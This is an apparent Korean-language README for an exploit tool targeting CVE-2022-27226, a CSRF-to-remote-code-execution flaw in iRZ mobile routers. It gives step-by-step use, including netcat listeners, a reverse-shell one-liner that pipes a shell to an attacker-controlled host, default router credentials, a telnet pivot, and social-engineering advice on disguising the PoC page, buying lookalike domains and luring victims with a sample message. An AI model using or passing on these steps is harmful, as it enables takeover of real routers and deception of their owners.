ez-iRZ

CVE-2022-27226 익스플로잇

iRZ 모바일 라우터에서 사이트 간 요청 위조(CSRF)를 통한 원격 코드 실행

크레딧

<--취약점 발견-->

John Jackson

Chris Mack --- [https://github.com/0xHalcyon]

<--익스플로잇 개발-->

Stephen Chavez --- [https://github.com/redragonx/]

Robert Willis

설명

2022-03-16까지의 iRZ 모바일 라우터에서 CSRF 문제로 인해 공격자가 라우터 관리 패널에 crontab 항목을 만들 수 있습니다. 크론 작업은 공격자가 정의한 간격으로 항목을 실행하여 원격 코드 실행으로 이어지며, 공격자는 파일 시스템 접근 권한을 얻을 수 있습니다. 또한, 라우터의 기본 자격 증명이 변경되지 않았거나 공격자가 유효한 자격 증명을 발견한 경우 사용자 상호 작용 없이도 원격 코드 실행이 가능합니다.

실행 전 참고사항:

셸을 잡기 전에 두 개의 netcat 리스너를 먼저 시작하는 것이 중요합니다. crontab이 실행되면 동일한 크론 작업을 여러 번 반복하기 때문에 셸이 다음 주기에서 죽기 때문입니다. busybox 환경이 상당히 제한적이어서 nohup을 사용할 수 없으며, 대신 다른 crontab 항목 간격으로 익스플로잇을 수정할 수도 있지만, crontab 간격에 신경 쓰지 않고 이를 극복하는 가장 좋은 방법은 첫 번째 리버스 셸을 잡기 위해 여러 리스너를 사용하는 것입니다.

대부분의 경우 라우터는 외부에 텔넷 포트가 열려 있지 않지만, 원격 코드 실행에 성공하면 텔넷을 사용하여 TTY를 대부분 고칠 수 있다는 것이 발견되었습니다. 이를 위해서는 자격 증명이 필요합니다. 전체 CSRF to RCE 체인을 사용하는 경우, 사용자의 로그인 이벤트나 스크립트에서 변환된 기본 인증 헤더가 포함된 헤더를 기록하는 보다 포괄적인 CSRF PoC 템플릿을 구축하는 것이 좋습니다.

인증 후 원격 코드 실행 모듈 실행 (자격 증명 있음)

이 라우터의 기본 자격 증명은 일반적으로 root:root 또는 admin:admin입니다. 자격 증명이 있으면 다음을 실행하세요:

python cve.py

매우 간단한 지침을 따른 후, 두 개의 다른 포트에서 두 개의 netcat 리스너를 시작하세요.

nc -lvp 443
nc -lvp 5000

첫 번째 리스너에서 리버스 셸을 잡으면, 지속적인 셸을 얻기 위해 리버스 셸 원라이너를 다시 실행하세요:

rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost_ip} {second_nc_listener_port} >/tmp/f

마지막으로, 자격 증명이 있다면 (이 모듈 부분을 사용한다면 자격 증명이 있어야 합니다) 내부적으로 제한된 텔넷 서비스로 피벗을 시도하세요:

telnet 0.0.0.0

"하지만 텔넷이 외부에 노출되어 있으면 어쩌죠?" 그럼 빌어먹을 라우터에 자격 증명으로 로그인하면 됩니다, 멍청아.

CSRF to RCE 모듈 실행 (자격 증명 없음)

이 모듈의 지침은 인증 후 RCE 지침과 거의 동일합니다. 가장 큰 차이점은 자격 증명이 없다는 것입니다.

우선, 효율적으로 익스플로잇하려면 이것이 어떻게 작동하는지 이해해야 합니다. CSRF는 사용자 상호 작용이 필요합니다. 즉, 누군가를 사회공학적으로 속여야 합니다. 두 가지 가능한 시나리오가 있습니다: 사용자가 PoC 버튼을 클릭할 때 이미 로그인되어 있는 경우, 또는 사용자가 로그인되어 있지 않은 경우입니다. 이미 라우터에 인증된 경우 cronjob을 만들기 위한 POST 요청이 API로 전송되고 사용자는 빈 페이지를 보게 됩니다. 로그인되어 있지 않은 경우 사용자에게 기본 인증 프롬프트가 표시되며, 편리하게도 기본 인증 팝업에는 피해자 라우터의 IP가 표시됩니다. 사용자가 자격 증명을 입력하면 POST 요청이 API로 전송됩니다.

피해자 라우터가 서브도메인에서 호스팅되는 경우 유사한 도메인을 구매하거나, 우선순위가 높은 대상이라면 서버에 대해 동일한 서브넷 범위를 가진 제공자를 찾는 것이 좋습니다. 우선순위 대상의 경우 CSRF PoC를 더 정교하게 다듬는 것이 가치 있을 수 있습니다.

스크립트를 실행하세요:

python cve.py

지침을 따르면 스크립트가 csrf 템플릿을 생성합니다. 좀 더 은밀한 이름으로 지정하는 것이 좋습니다.

mv poc.new.html index.html

PoC를 서버에 호스팅하세요. 가능하면 피해자 라우터와 동일한 포트를 사용하세요.

python3 -m http.server 80

링크를 가져와서 피해자에게 보내되, URL 끝에 PoC 파일 이름을 추가해야 합니다:

자기야, 라우터에 로그인해 줄래? 제발:
http://your-ip-in-the-united-states-bcuz-you-didnt-take-my-advice/index.html